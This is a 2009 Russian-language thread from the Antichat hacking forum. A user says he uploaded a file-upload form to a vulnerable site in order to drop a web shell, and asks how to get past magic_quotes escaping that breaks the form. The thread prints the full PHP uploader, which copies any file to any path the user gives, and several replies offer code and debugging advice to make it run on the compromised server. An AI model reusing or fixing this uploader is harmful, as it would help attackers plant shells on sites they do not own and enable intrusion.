Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Возникли проблемы с magic_quotes |

17.03.2009, 23:27
|
|
Новичок
Регистрация: 30.12.2008
Сообщений: 3
Провел на форуме: 58906
Репутация:
0
|
|
Возникли проблемы с magic_quotes
Загрузил на уязвимый сайт форму для загрузки шела, но вместо формы, вылетают ошибки вида:
Код:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 11
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /usr/local/www/blocks/block-form.php on line 12
Сам скрипт формы:
PHP код:
<?php
if (!defined('BLOCK_FILE')) {
Header("Location: ../index.php");
exit;
}
$self = stripslashes($_SERVER['PHP_SELF']);
$docr = stripslashes($_SERVER['DOCUMENT_ROOT']);
$sern = stripslashes($_SERVER['SERVER_NAME']);
$tend = "</tr></form></table><br><br><br><br>";
if (!empty($_GET['ac'])) {$ac = stripslashes($_GET['ac']);}
elseif (!empty($_POST['ac'])) {$ac = stripslashes($_POST['ac']);}
else {$ac = "upload";}
switch($ac) {
case "upload":
echo <<<HTML
<table>
<form enctype=multipart/form-data action=$self method=POST>
<input type=hidden name=ac value=upload>
<tr>
<input size=5 name=file type=file></td>
</tr>
<tr>
<td><input size=10 value=$docr name=path type=text><input type=submit value=ОК></td>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = stripslashes($_POST['path'].$_FILES['file']['name']);
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "Файл ".$_FILES['file']['name']." загружен";
} else {
print ("Не удаётся загрузить файл. Инф:\n");
print_r($_FILES);
}
}
break;
}
?>
На сервере установлено расширение magic_quotes_gpc.
Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?
|
|
|

18.03.2009, 01:06
|
|
Участник форума
Регистрация: 21.02.2008
Сообщений: 255
Провел на форуме: 975514
Репутация:
177
|
|
Сообщение от Jorge_
Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?
PHP код:
if ( ini_get("magic_quotes_gpc") == 1 )
{
foreach ( $_GET as $id => $v ) $_GET[$id] = stripslashes($v);
foreach ( $_POST as $id => $v ) $_POST[$id] = stripslashes($v);
foreach ( $_COOKIE as $id => $v ) $_COOKIE[$id] = stripslashes($v);
}
|
|
|

18.03.2009, 01:31
|
|
Новичок
Регистрация: 30.12.2008
Сообщений: 3
Провел на форуме: 58906
Репутация:
0
|
|
Сообщение от imajo.ati
PHP код:
if ( ini_get("magic_quotes_gpc") == 1 )
{
foreach ( $_GET as $id => $v ) $_GET[$id] = stripslashes($v);
foreach ( $_POST as $id => $v ) $_POST[$id] = stripslashes($v);
foreach ( $_COOKIE as $id => $v ) $_COOKIE[$id] = stripslashes($v);
}
К сожалению, не помогло.
В строках, везде где содержатся апострофы, принудительное экранирование так и не пропало.
|
|
|

18.03.2009, 01:41
|
|
Участник форума
Регистрация: 21.02.2008
Сообщений: 255
Провел на форуме: 975514
Репутация:
177
|
|
скрипт куда-то инклудится? если нет константы BLOCK_FILE то он и не исполнится дальше 5й строчки
+ в скрипте много лишнего кода и неуместное применение функции stripslashes на переменные среды - которые не экранируются - а именно на
$_SERVER['PHP_SELF'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SERVER_NAME']
|
|
|

18.03.2009, 01:46
|
|
Новичок
Регистрация: 30.12.2008
Сообщений: 3
Провел на форуме: 58906
Репутация:
0
|
|
Сообщение от imajo.ati
скрипт куда-то инклудится? если нет константы BLOCK_FILE то он и не исполнится дальше 5й строчки
+ в скрипте много лишнего кода и неуместное применение функции stripslashes на переменные среды - которые не экранируются - а именно на
$_SERVER['PHP_SELF'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SERVER_NAME']
Да, на сайте используется система блоков.
На сервере с выключенным magic_quotes, скрипт работает без ошибок.
+ Спасибо, за хинт
|
|
|

18.03.2009, 01:54
|
|
Участник форума
Регистрация: 21.02.2008
Сообщений: 255
Провел на форуме: 975514
Репутация:
177
|
|
если файл подключается через include то функцию stripslashes и вообще все input данные надо обрабатывать в конечном файле - по крайней мере так написано было в той литературе, с помощью которой я знакомился с пхп.
попробуй изменить include на require и убери ото всюду функцию stripslashes заменив кодом из #3 сообщения, а так же попробуй заменить блок
<<<HTML
HTML;
на конструкцию echo "";
но скорее всего проблема в include
|
|
|

18.03.2009, 02:54
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
как как, вот так:
PHP код:
<?php
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
?>
|
|
|

18.03.2009, 02:59
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме: 1754802
Репутация:
380
|
|
2m0Hze если ты без иронии то (c)php.net - http://www.php.net/manual/ru/security.magicquotes.disabling.php
Последний раз редактировалось PaCo; 18.03.2009 в 03:03..
|
|
|

05.10.2009, 17:13
|
|
Новичок
Регистрация: 05.10.2009
Сообщений: 1
Провел на форуме: 2956
Репутация:
0
|
|
Тем не менее, как разобрались?
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|